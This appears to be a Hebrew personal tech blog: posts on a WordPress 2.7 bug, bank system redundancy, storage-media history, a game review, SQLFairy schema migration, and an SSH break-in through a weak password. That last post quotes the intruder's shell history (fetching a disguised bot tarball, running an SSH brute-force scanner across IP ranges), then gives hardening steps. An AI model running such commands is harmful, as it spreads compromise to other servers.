הבאג שחמק

לפעמים באגים מצליחים לחמוק מבין חריצי השרת ונעלמים במרחבי האינטרנט.
חדי העין שמו לב שהפוסט על בנק הפועלים הופיע במשך היום פעמיים.
אירוניה של ממש בהתחשב בזה שהפוסט מדבר על יתירות (Redundancy).
הפוסט הכפיל את עצמו ואת כל התגובות שלו אחרי שערכתי אותו, ולא היה לי ברור איך להיפטר מזה.
שמתי לב שלשני הפוסטים היה בדיוק את אותו ID, מה שגרם לי לחשוש שאם אני אמחק אחד השני יעלם ביחד איתו, אז לא מיהרתי "לתקן" את הבעיה.

לפני כמה ימים משתמש של פיירסטטס התלונן על בעיה מוזרה, שאלתי אותו באיזו גרסאת וורדפרס הוא משתמש, והסתבר שהבחור משתמש ב2.7-beta3 או משהו כזה.
כדי לבדוק את הבאג הורדתי את הגרסא האחרונה של וורדפרס למחשב המקומי, ותיקנתי אותו , ועל הדרך התרשמתי מאוד לטובה מהוורדפרס הממשמש ובא.

כשנתקלתי בבאג הזה, חשבתי לעצמי שאולי זה משהו שתוקן בוורדפרס החדש, אז העתקתי את בסיס הנתונים של הבלוג הזה לבסיס נתונים עם שם אחד, וניסיתי אותו עם וורדפרס 2.7 חדש ישר מהSVN, בלי ערכת נושא ובלי פלאגינים.
הפתעה: עבד בלי הבאג.
המסקנה המתבקשת: מה שזה היה, זה תוקן ב2.7.
החלטתי לשדרג את הבלוג הזה.

שידרגתי, העתקתי את ערכת הנושא ואת הפלאגינים לבלוג 2.7 אחר (לא זה שאיתו בדקתי קודם).
הפתעה: הבאג חזר.

חשבתי לעצמי, זה באג בן זונה חמקמק.
בטח משהו נדפק בבסיס נתונים. ניסיתי להחליף את הבסיס נתונים של הבלוג בדיקות (שמבוסס כאמור על עותק של בסיס הנתונים הזה) עם הבלוג הזה, והבאג נשאר.
חשבתי : טוב נו, אם זה לא בסיס הנתונים זה משהו בקבצים.
התחלתי שוב מאפס, בלי פלאגינים והפעם זה עבד.
אחרי התבחבשות לא קצרה, שבמהלכה האשמתי את ערכת הנושא, ואחר כך את הפלאגינים הגעתי למצב ששיחזרתי את ערכת הנושא ואת כל הפלאגינים שרציתי אחד אחד, וכשסימתי הבעיה לא חזרה.
הבאג הצליח להימלט.
אני חושד שהוא קשור לאיזה תוסף שהיה מותקן לי – משהו של מיניפוסטים, אבל מכיוון שהוא נכשל בהפעלה אני לא יכול להיות בטוח. בכל מקרה לא השתמשתי בתוסף הזה אז זה לא ממש משנה.

בשורה התחתונה, אני עכשיו על וורדפרס 2.7 שעדיין לא יצא, ואני חייב לצין שהוא יפה במיוחד.
השינוי המרכזי ביותר הוא שממשק הניהול עבר שדרוג מאסיבי, גם מבחינת עיצוב וגם מבחינת פונקציונליות.
אפשר לגרור ולארגן את הווידג'טים שבדשבורד עם העכבר, ויש תפריט חדש ואלגנטי.
אין מה להגיד, ממשק הניהול החדש נראה ממש טוב.
אחד הפיצ'רים הנחמדים – שאני משתמש בו ברגעים אלו ממש הוא QuickPress, שזה בעצם בלוק בדאשבורד של וורדפרס שמאפשר לפרסם פוסטים קטנים ישר מתוך הדשבורד – בלי להכנס למסך עריכת הפוסט.
למה קטנים? כי העורך פה מצומצם בגודל וממשק המשתמש פשוט במיוחד.
זה לא הפריע לי לכתוב את הפוסט הזה (שהוא לא קטן במיוחד) ישר משם, רק כדי לבדוק את זה.
כהערת ביניים : בעיה ראשונה שמצאתי היא שההכנסת תמונה לתוך הפוסט לא עובדת במצב הזה, אבל אני בטוח שזה יתוקן.

טוב, אני הולך לפרסם את הפוסט ולסיים לערוך אותו מממשק העריכה הרגיל.

טוב, הצלחתי אחרי שכיביתי את הפלאגין שמוסיף את הPreview pane.

דבר מעניין הוא שתפריט הנייוט הצידי נשאר גם פה, מה שמאפשר ניווט גם תוך כדי עריכת פוסטים.
ניסיון לנווט מקפיץ חלון אזהרה נדרש.

במהלך המשחקים שלי, פיירפוקס קרס פתאום – רגע הוא היה שם ורגע אחרי הוא פשוט נעלם.
בכניסה מחדש וורדפרס איפשר לי לשחזר ולהשוות גרסאות קודמות שנשמרו אוטומטית בממשק ברור ופשוט.

העורך הוויזואלי הוא די איטי, אבל אני לא בטוח שזה חדש (רק לאחרונה הפעלתי מחדש את העורך הוויזואלי אחרי חודשים ארוכים שעבדתי עם העורך הפשוט).

טוב, ולסיכום – צילומסך של ממשק הניהול (בתקווה שהשוא"ש לא יעוף שוב) :

WordPress 2.7 Dashbaord

בנק הנופלים

אם מישהו היה אומר לי לפני שבועיים שייתכן מצב שבו בנק פועלים סובל מתקלה שמנטרלת את מערך המחשוב שלו ליומיים שלמים, הייתי חושב שהוא מקשקש.
כשמפעילים מערכת קריטית – ובנק הוא מערכת קריטית, חשוב לבנות את המערכת עם מנגנוני יתירות (redundancy) ככה שגם כשמשהו קורס (ומשהו יקרוס בשלב מסויים, זה ברור), המערכת כולה לא תקרוס כי משהו יתפוס את מקומו בצורה שקופה.
דוגמאות לזה אפשר לראות בהרבה מקומות, למשל:

  • שרתי DNS תמיד מוגדרים לפחות בזוגות, ככה שאם הראשון נופל השני תופס את מקומו והמשתמשים אפילו לא יודעים שמשהו קרה.
  • ברוב תצורות הRAID, אם נופל כונן קשיח המערכת ממשיכה לעבוד כרגיל, ואפשר להחליף אותו בלי לאבד נתונים.
  • אפשר ורצוי להגדיר את הDNS בצורה כזו שאם שרת דואר נופל, שרת דואר חלופי יקבל את ההודעות בצורה שקופה למי ששולח את הדואר.
  • יש לנו שתי ריאות, שני כבדים, שתי כליות, שתי עיניים, שתי אוזניים.. 🙂

הנקודה היא שמי שלוקח את עצמו ברצינות, ידאג שלא תהיה לו נקודת כשל יחידה.

לפני כמה ימים המחשב המרכזי של בנק הפועלים קרס "עקב תקלה נדירה במערכת ההפעלה", ובנק פועלים היה מושבת ליומיים, בהם הבורסה טולטלה, ולקוחות בנק הפועלים לא יכלו להגיב.

בתור מערכת קריטית, בנק הפועלים אמור היה להיות חסין לקריסה כזו, ובכל זאת "תקלה נדירה" הצליחה להפיל אותו.

במערכת עם יתירות, יש הסתברות מסויימת לכך שתהיה קריסה של כל אחד מהרכיבים, נניח שהמערכת היא שרת עם מערך RAID, ונניח שהכוננים הקשיחים הם ממש דפוקים והסתברות לקריסה של אחד מהם בכל רגע נתון הוא 1%.
נניח גם שהמערכת מסוגלת להתמודד עם כונן אחד שקרס בלי לאבד מידע, אבל לא עם שניים.

עכשיו – מה הסיכוי ששני כוננים קשיחים יקרסו באותו רגע?

ההסתברות במקרה הזה היא מכפלת ההסתברויות להסתברות לארוע בודד, כלומר 0.01% (זאת כמובן בהנחה שהמאורעות בלתי תלויים, דוגמא למאורעות תלויים היא הפסקת חשמל שגרמה לקצר שדפק שני כוננים).
בצורה דומה ההסתברות לקריסה של שלושה כוננים היא כבר 0.0001% וכן הלאה.

אפשר לראות שככל שהיתירות שלנו גדלה בכל נקודה קריטית, הסיכוי לארוע שיפיל את המערכת קטנה בצורה מאוד מהירה, אבל היא עדיין קיימת. הנקודה היא שאם מבינים את המערכת בצורה טובה, אפשר לשלוט בהסתברות לארוע קטסטרופלי ולהקטין אותו עד לרמה נמוכה מספיק (למשל רמה כזו שההסתברות לרעידת אדמה שתמחק את ישראל היא הרבה יותר גבוהה).

כמובן שבעולם האמיתי דברים מסתבכים, כי בדרך כלל יש תלות בין רכיבים והרבה פעמים קריסה של רכיב אחד גורמת תגובה שרשרת שיכולה להפיל רכיב אחר לגמרי.
כל זה עדיין לא מצדיק את הקריסה של המחשב של בנק הפועלים, שלדעתי עלתה להם מליונים רבים ועוד תעלה להם מליונים רבים עוד יותר כשיפגע בהם גל התביעות.

מה לדעתכם קרה שם?

סיסמאות קלות מדי

לא כיף לקום בבוקר ולראות בתיבת האימייל שלכם הודעה על כך שיצאה התקפת SSH מהשרת שלכם ושהוא כנראה נפרץ.
ככה בדיוק התחיל היום שלי אתמול.

נכנסתי לשרת, חצי נבוך וחצי לא מאמין – וראיתי שאחד המשתמשים מחובר.
הצצתי בקובץ .bash_history שלו, שמכיל את רשימת הפקודות האחרונות שהוא הריץ (אם הוא לא מספיק חכם כדי למנוע מBASH לרגל אחריו, הוא לא האקר מי יודע) , וזה אכן נראה חשוד.
הנה חלק ממה שעשה התכשיט:
[code]
wget **.***.com/botflod.jpg
tar zxvf botflod.jpg
cd …
ls -a
rm -rf *.seen
ls -a
vi mech.set
vi 1
./httpd
ps x
kill -9 21036
w
cat vuln.txt
cat /proc/cpuinfo
cd ..
ls -a
ftp -v alexhk.ueuo.com
ftp -v alexhk.ro
tar zxvf ssh.tgz
cd ssh
./a 199.3
./a 82.211
./a 222.126
./a 89.171
./a 71.249
./a 218.80
./a 218.106
./a 194.116
[/code]

שיניתי את הסיסמא של המשתמש, והרגתי את כל התהליכים שרצו תחת שם המשתמש שלו (מה שכמובן ניתק את המשתמש)
[code]
killall -u username
[/code]
מכיוון שאני די פרנואידי (אבל מסתבר שלא מספיק) בכל מה שקשור לאבטחה, תכננתי את השרת ככה שמשתמש רגיל לא יכול לעשות שום דבר חוץ מלדפוק את עצמו, ולכן הייתי יותר רגוע כשהבנתי שהוא לא השיג גישת ROOT.
אז איך הוא נכנס?

פשוט מאוד – סיסמא קלה.
שם המשתמש שייך למשתמש חדש שבחרתי לו סיסמא קלה והגדרתי שהוא חייב לשנות אותה בכניסה הראשונה.
המשתמש האמיתי עדיין לא נכנס, ולכן הסיסמא הקלה נשארה.

מה שהפורץ עשה אחרי שהוא ניחש את הסיסמא זה להפעיל סורק SSH שהתחבר לכתובות IP באופן שיטתי (אפשר לראות שהוא ניסה תחומי כתובות שלמים) ופשוט ניחש סיסמאות לפי קובץ סיסמאות מוכן.
מספיק שהוא יצליח להיכנס בשבריר אחוז מהנסיונות כדי להרחיב את רשימת השרתים שיש לו אליהם גישה.
בטח על חלק מהשרתים הוא גם מצליח להשיג גישת ROOT באותה שיטה.

אז מה עושים כדי להימנע מזה בעתיד?
קודם כל, לא בוחרים סיסמאות קלות, אפילו לא לזמן קצר (שעלול להמתח לזמן ארוך בלי שתדעו).
בשביל זה יש כלים פשוטים שמייצרים סיסמאות מאובטחות.
הבעיה עם סיסמאות מאובטחות היא שבדרך כלל קשה מאוד לזכור אותן.
יש כמה כלים שיודעים לייצר סיסמאות שגם קל לזכור, למשל gpw (Generate password) שנמצא בחבילת דביאן עם שם תואם.
gpw מייצר סיסמאות שניתן להגות, מה שעוזר לזכור אותן, למשל:
[code]
$gpw
outskyst
omaticts
liestogg
erlishit
duckslyt
ityingli
fackersa
sappityr
rachecke
lithhoss
[/code]
אז בתור התחלה, אפשר להשתמש בgpw כדי לבחור סיסמאות למשתמשים חדשים.

צעד מתבקש נוסף הוא לדרוש מורכבות מינימלית מסיסמאות של משתמשים, בשביל זה אפשר להשתמש בPAM ובCracklib.
כמו תמיד עם דביאן, זה יותר פשוט ממה שזה נשמע:
[code]
apt-get install libpam-cracklib
[/code]

ואז עריכת הקובץ /etc/pam.d/common-password והוספת הערה לפני השורה הראשונה, והסרת ההערות מהשתיים האחרות:
[code]
#password required pam_unix.so nullok obscure min=4 max=8 md5

password required pam_cracklib.so retry=3 minlen=6 difok=3
password required pam_unix.so use_authtok nullok md5
[/code]

אפשר גם לדרוש החלפה של הסיסמא לכל היותר תוך מספר ימים מסויים על ידי עריכה של /etc/login.defs ושינוי הערך של PASS_MAX_DAYS

בדיקה נוספת שאפשר לבצע היא בדיקה שיטתית של הסיסמאות במערכת שלכם הן חזקות או לא על ידי הפעלת תוכנה שמנסה לפרוץ אותן באופן קבוע.
תוכנה כזו היא john המרטש שמנסה לפרוץ את הסיסמאות המקומיות ממש כאילו היא האקר עויין, רק שאם היא מצליחה היא תדווח לכם ואם תרצו גם למשתמש הספציפי שהסיסמא שלו חלשה.
מכיוון שהוא רצה כROOT היא יכולה לבצע את נסיון הפריצה ישירות על הקובץ, מה שיהיה יעיל יותר מאשר לנסות להיכנס דרך SSH.
בהתקנת ברירת המחדל בדביאן ג'והן המרטש מתקין ג'וב קרון שרץ בלילה בין 1 בלילה ל7 בבוקר (זמן שרת), אבל צריך לאפשר אותו על ידי הסרה של ההערות מהשורות הבאות בקובץ /etc/cron.d/john (פשוט מחיקת ה# המקדימים)
[code]
#00 1 * * * root [ -x /usr/share/john/cronjob ] && nice /usr/share/john/cronjob start
#00 7 * * * root [ -x /usr/share/john/cronjob ] && /usr/share/john/cronjob stop
[/code]

כלי נוסף שאפשר להתקין הוא tripwire שעוקב אחרי שינויים בלתי קרואים לקבצי מערכת.
הזמן הנכון להתקין את tripwire הוא לפני שהמערכת שלכם נפרצה (ואני מדבר על פורץ שהשיג גישת ROOT).
אחרי ההתקנה עם apt-get עקבו אחרי ההוראות הפשוטות פה כדי ליצור את בסיס הנתונים שמולו tripwire יזהה שינויים בעתיד.
מומלץ מאוד לאכסן את בסיס הנתונים של tripwire במקום ללא גישת כתיבה כדי למנוע מתוקף עם גישת ROOT לשנות את בסיס הנתונים ובכך להסתיר את השינויים שהוא עשה.

אני בטוח שיש עוד הרבה דברים פשוטים שאפשר לעשות, מה אתם עושים?

ההיסטוריה של הבייט

בהתחלה היה XT, ובXT שני כונני 5 ורבע אינץ' שקראו דיסקטים גמישים – כמו שנאמר, פלופיס.
ובפלופי 360K בלבד, 180K בכל צד.
באותה תקופה מערכת הפעלה שלמה, דוס (2.0 היא הגרסא הראשונה שאני זוכר) נכנסה בכזה דיסקט, יחד עם אוסף תוכניות שימושיות:
format, diskcopy,chkdsk,edlin,attrib ועוד.
היו גם דיסקטים קטנים של 720K, אבל הם היו פחות נפוצים.

חלק מהמשחקים באותה תקופה הגיעו בלי מערכת הפעלה, ועשו BOOT ישירות לתוך המשחק.
חלק הגיעו עם קבצי המערכת של דוס, בדיוק מספיק כדי להעלות דוס ואז את המשחק.
בימים האלו לא היה נדיר לראות דיסקט 360K שמתהדר בכיתוב "10 משחקים", רובם גרועים במיוחד – אבל פה ושם היו פנינות כמו ציפור קופצת או דיגר.

בהמשך הופעו משחקים שתפסו דיסקט שלם, ולא עבר הרבה זמן והופיעו משחקים שתפסו שני דיסקטים של 360K, למשל הנסיך הפרסי או דאבל דרגון.
באותם ימים התחלתי ללמוד איך משמשים בדוס, ואיך מקלקלים דברים. למשך, הידעתם שאם מוחקים את כל הקבצים המיותרים ממשחק (הכל חוץ מקובץ הEXE) כדי לעשות מקום לעוד משחקים הוא מפסיק לעבוד? 🙂

אני חושב שהמשחקים הראשונים שפרצו את מחסום שני הדיסקים היו קווסטים של סיירה. אם אני זוכר טוב, קינג'ס קווסט 4 כבר הכיל איזה 4 דיסקטים.

עברו כמה שנים, והופיע מחשב חדש: ה286, עם כונני דיסקטים מרשימים – 1.2 מגה ו1.44 מגה.
כמו כמה וכמה דיסקטים של 360K.
מהר מאוד משחקים התחילו לתפוס יותר ויותר מקום, רובין הוד של סיירה למשל, תפס כ7 דיסקטים של 1.2!
דיסקטים היו אחת המדיות הכי לא אמינות בהיסטוריה. והם היו גם יקרים מאוד. 10 דיסקטים של NASHUA שנחשבה חברה איכותית מאוד עלו כ80 שקל, ואני מדבר על 80 שקל בימים שבהם השקל היה שקל.
בנוסף, דיסקטים נטו לצבור סקטורים רעים במשך הזמן, בגלל טביעות אצבעות, אבק וסתם איכות ירודה של המשטח המגנטי שעטף אותם. מכוון שהם היו כל כך יקרים, אנשים נטו לשמור דיסקטים למשך שנים, וברור שזה גרם לכך שחלק גדול מהדיסקטים של אנשים היו דפוקים.
לא שזה הפריע להם להעתיק כמו מטורפים.
אני זוכר שהייתי הולך לחברים עם שקיות מלאות דיסקטים, וחוזר עם דיסקטים קצת יותר כבדים :).
עוד שיטה להעתיק היתה לשלוח דיסקטים בדואר לחבר מקומבן, ולקבל אותם חזרה מלאים כל טוב.
כמובן שהשיטות האלו גם עזרו להפיץ ווירוסים, שרכבו על הדיסקטים מסביב לעולם.

בסביבות 94 הסידירום התחיל לצבור תאוצה, ומשחקים שהופצו על סידים התחילו להופיע.
כל סידי מכיל כ650 מגה, שזו קפיצה משמעותית מאוד מהדיסקטים של 1.2 ו1.44 מגה שהיו נפוצים עד אז.

כמו תמיד, התעשיה מצאה מה לעשות בכל המקום הזה, וחיש מהר ראינו משחקים כמו Under a killing moon שישב על ארבעה דיסקים, ופנטסמגוריה שישב על שבעה דיסקים (!).
המשחקים האלו לא בדיוק עשו שימוש יעיל במקום :היה תוכן כפול בין הדיסקים, וקטעי הווידאו היו מכווצים בטכנולוגיה פרימיטיבית שלא כיווצה בצורה יעילה כמו קודקים מודרניים.
כמובן, לרוב האנשים לא היה צורב דיסקים, ודיסקים ריקים היו יקרים גם ככה. מצד שני, אנשים עדיין רצו לשחק במשחקים החדשים.
אז איך מעתיקים משחק של 650 מגה עם דיסקטים?
עוקפים את הבעיה על ידי הסרה של תוכן שמן ומיותר מהמשחק, בעיקר קטעי הווידאו. תעשית העתקות המשחקים התחילה לשחרר משחקים בפורמט CD-RIP, מה שאומר שאיזה האקר ישב וגילח מהמשחק מה שאפשר כדי להקטין אותו תוך שהוא מנסה לשמור על כמה שיותר משחק בפנים.
מטבע הדברים, המשחק היה פחות מהנה ככה, אבל עדיף משחק חלקי ממשחק שצריך 500 דיסקטים (נגועים בסקטורים דפוקים) כדי להעביר ממקום למקום.
בד בבד עם גדילת המשחקים, גדלו הדיסקים הקשיחים.
ההרדדיסק הראשון שלי היה בנפח 80 מגה, מה שהיה המון באותה תקופה כי לכל מי שהיה הרדיסק היה 40 מגה.
80 מגה נראה כמו אינסוף מקום כשמשחקים תופסים שניים שלושה דיסקטים של 360K, אבל הרבה פחות כשהתחילו משחקים שתופסים כמה מגה בייט כל אחד.
הדיסק הבא שלי היה 320 מגה, ואז 540, ואז 800, ואז 1.3 ג'יגה.
כל פעם נראה היה כאילו בעית המקום נפתרה.
רק נראה.

כשחלונות 95 הגיעה, כל המשחקים נכתבו עבור דוס ונראה היה כאילו אין הגיון בלהריץ משחק תחת חלונות, שזוללת משאבים.
עם הזמן יותר ויותר משחקים נכתבו לחלונות, ופחות ופחות עבור דוס והיום חלונות היא מערכת ההפעלה עם הכי הרבה משחקים.
חלונות 95 עצמה הגיעה על 13 דיסקטים של 1.2 בלבד, או על סידירום.

בסביבות 95 פורמט חדש בשם MP3 התחיל לצבור תאוצה, כל קובץ מוסיקה שלו תפס כ3-4 מגה במקום כמה עשרות קילובייטים לקובץ מסוג MOD או S3M. ההבדל הוא שMP3 נשמע כמעט בדיוק כמו המקור (טוב, בהשוואה לסטנדרטים של פעם – איכות הקידוד המקובלת היתה די נמוכה כדי לחסוך מקום).
את קובץ הMP3 הראשון שלי ניגנתי על 486DX100 (של AMD), והוא בקושי סחב אותו – כן, פעם ניגון MP3 היתה משימה שלא כל מחשב עמד בה.
הפריחה הגוברת של קבצי הMP3 יצרה צורך גדל והולך בעוד ועוד מקום, כאשר אלבום תפס בMP3 כ50-60 מגה.
כמה שנים עברו, צורבי סידירום הפכו לדבר שבשגרה, וסרטים שלמים התחילו להופיע ברשתות שיתוף הקבצים (בזמנו אי-דונקי, IRC וניוז-גרופס), סרט בפורמט ASF (קודק של מייקרוסופט באיכות מזעזעת) שקל כ300-350 מגה, וכשהופיע הקודק DivX כמעט כולם עברו אליו. סרט בDivX שוקל כ600-700 מגה, אבל האיכות בהשוואה לASF היא אסטרונומית.
עם הזמן גם מהירות העברת הקבצים גדלה, החל מימי המודמים שהעבירו קילובייטים ספורים בשניה וכלה בADSL/כבלים של ימינו שמעבירים מאות קילובייטים בשניה (ובקרוב מגה-בייטים בשניה), כמובן שכשאנשים מורידים יותר הם צריכים יותר מקום.
במשך תקופה של כמה שנים חל שיפור הדרגתי באיכות הסרטים, עד שסרט ממוצע שקל שני דיסקים (1.3 ג'יגבייט) ובשלב מסויים התחילו להופיע DVD-RIPs של סרטים/סדרות באיכות DVD במשקל של כארבעה ג'יגה לRIP.
לפני כחצי שנה פורמט בלו-ריי של סוני ניצח את הפורמט המתחרה HD-DVD של טושיבה, אני לא אכנס להבדלים הטכניים בין השניים, אבל השורה התחתונה היא שברגע שמלחמת הפורמטים הוכרעה החלה פריחה של סרטים באיכות HD מלא (1920×1080).
דיסק בלו ריי מכיל עד 50 ג'יגה בייט, ולא נדיר לראות סרטי בלו ריי שממלאים את הכל.
כמובן – 50GB לסרט זה עדיין לא מאוד פרקטי עבור רוב האנשים, והיום אפשר למצוא ברשתות שיתוף הקבצים גרסאות של סרטי בלו-ריי שקודדו מחדש בקודק H264 ושוקלים 'רק' כ8 ג'יגה לסרט בHD מלא.

היום אפשר כבר לקנות כוננים קשיחים בנפח של טרה וחצי ואפילו שני טרה, שזה יותר מפי חמש וחצי מליון מאשר אותו דיסקט 360K שהיה נפוץ כל כך לפני פחות מ20 שנה.

במבט לעתיד, ברור שלא רחוק היום שנראה מדיות איכסון של פטה-בייט (1000 טרה).
היום זה נשמע אסטרונומי, אבל גם מגה בייט,ג'יגה בייט וטרה בייט נשמעו ככה בהתחלה.
השאלה היותר מעניינת היא מה יהיו הישומים שידחפו את הצורך ביותר ויותר מקום בעתיד.

World of Goo

במהלך חיפוש אחרי המשחק הבא שלי בGamespot גיליתי את World of Goo, משחק פאזלים שקיבל את הציון המבטיח 9.
הורדתי אותו מרשת הביטורנט הקרובה לביתי (ISO פצפון של 150 מגה), התקנתי והתאהבתי במשחק.
עבר הרבה זמן מאז שראיתי משחק מקורי באמת.
המשחק הוא בעצם סימולציה פיזיקלית של ג'יפות קטנות בשם Goo, מכל מני סוגים.
המטרה, בדומה למטרה בלמינגס היא להביא כמות מסויימת של ג'יפוני גו למשאבה שמעבירה אל השלב הבא.
כדי להגיע לשם, בונים מהג'יפונים מגדלים, גשרים ומה לא.
המשחק פשוט כיף צרוף.

אחרי ששיחקתי בו רבע שעה החלטתי שהוא שווה קניה.
קפצתי לאתר של החברה המפתחת, 2dboy , גיליתי שהמשחק פותח על ידי שני חבר'ה בלבד, קייל גבלר ורון כרמל (משלנו?), שיושבים בסן פרנסיסקו.
הדבר הבא שראיתי היה שבקרוב הם ישחררו גרסא ללינוקס.
מייד זיהיתי שמדובר באתר שמריץ וורדפרס, בדיקה נוספת חשפה שהם משתמשים בפיירסטטס.
שלחתי להם אימייל עם הצעה להחלפת רשיון פיירסטטס ברשיון למשחק, אבל הבהרתי באימייל שהם יכולים להמשיך להשתמש בפיירסטטס חופשי, ושאם הם לא רוצים להחליף רשיונות אני אקנה את המשחק.
לשמחתי קייל חזר אלי והסכים מיד.
אז עכשיו יש לי עותק חוקי של המשחק, ואני ממליץ בחום לכל מי שמחפש משחק פאזלים חמוד בטירוף לקנות עותק (רק 20$).

sqlfairy

הסיטואציה הבאה תהיה מוכרת לכמה מפתחים:

בחברה עובדים על תוכנה בצד השרת שכוללת בסיס נתונים. כמובן שלא מפתחים ישירות על מערכת הפרודקשן, אלא על מערכת דומה – ואולי אפילו כל מפתח עובד על גרסא מקומית של בסיס הנתונים.

במשך הזמן, מפתחים משנים את המבנה של בסיס הנתונים, מוסיפים טבלות,עמודות ואינדקסים, ואולי גם מוחקים כמה.
יכול להיות שיש יותר ממפתח אחד שעושה את זה.

איך מעבירים את השינויים האלו למערכת הפרודקשן?

אם מערכת הפרודקשן עדיין לא למעלה, אפשר כמובן להעיף את בסיס הנתונים וליצור את הכל מחדש, אבל זה לא המקרה בדרך כלל.
אופציה אחרת היא לשאול את המפתחים, מה שיניתם? אבל הם אחרי שבועיים, אף אחד לא זוכר בדיוק מה הוא שינה כדי לפתור באג אזוטרי זה או אחר או כדי להוסיף פיצ'ר מסויים, וכמובן שאף אחד לא רושם דברים כאלו.
אופציה שלישית היא להשוות ידנית, לא כיף גדול ומועד לטעויות.

אבל חייבת להיות דרך לבצע אוטומציה של האופציה השלישית, זה תהליך די מכאני.
מסתבר שיש דרך, כלי בשם SQLFairy שמאפשר לקבל הבדלים בין שתי סכימות MySQL ומפיק הוראות MySQL למעבר מסכימה אחת לשניה. הוא מאפשר עוד כמה דברים, אבל אני חושב שזה הכי מעניין.
תיאורטית הכלי תומך גם במעבר בין בסיסי נתונים שונים, אבל קיבלתי רושם שזה עובד ממש רק עם MySQL.

בגדול, כדי לעבור מסכימה אחת לשניה, מה שצריך לעשות זה להוריד את המבנה של שני הסכימות לקובץ עם mysqldump, למשל:
[code]
source db.conf
mysqldump –no-data -h $HOST -u $USER –password=$PASS $DB_NAME $TABLES | gzip > struct.sql.gz
[/code]

כאשר הקובץ db.conf מכיל את המשתנים הדרושים להתחבר:
[code]
HOST=server_host (usually localhost)
USER=username
PASS=password
DB_NAME=database_name
TABLES="table1 table2 table3"
[/code]

ברגע ששיש לנו את שתי הסכימות ביד, ואחרי שהתקנו את SQLFairy כמובן (apt-get install sqlfairy על דביאן לני, אם אתם על Etch תתקינו ידנית מהקוד, הגרסא שבEtch לא עובדת טוב), אפשר לקבל הוראות מעבר מסכימה אחת לשניה כך:
[code]
sqlt-diff current.sql=MySQL new.sql=MySQL 2> /dev/null > diff.sql
[/code]

זה יפיק הוראות מעבר (CREATE , ALTER, DROP) שיהיה אפשר להריץ על בסיס הנתונים כדי לישר קו בין הסכימות.
(אני שולח את stderr ל/dev/null כי יש אזהרות חסרות חשיבות מהסקריפט שנובעות מגרסת perl יותר חדשה מזו שהסקיפט פוחת עליה)
אני משתמש בסקריפט דומה לזה כדי להפוך את התהליך ליותר קל (הקובץ prod-struct.sql.gz מכיל את מבנה הסכימה שאני רוצה לקבל) :
[code]
#! /bin/bash
source db.conf
mysqldump –no-data -h $HOST -u $USER –password=$PASS $DB_NAME $TABLES > current.sql
zcat prod-struct.sql.gz > new.sql
sqlt-diff current.sql=MySQL new.sql=MySQL 2> /dev/null > diff.sql
cat diff.sql
echo "Type yes to apply changes"
read RESP
[[ $RESP == "yes" ]] || { rm -f current.sql diff.sql new.sql;exit; }
echo "updating database structure"
cat diff.sql | mysql -h $HOST -u $USER –password=$PASS $DB_NAME
rm current.sql new.sql diff.sql
[/code]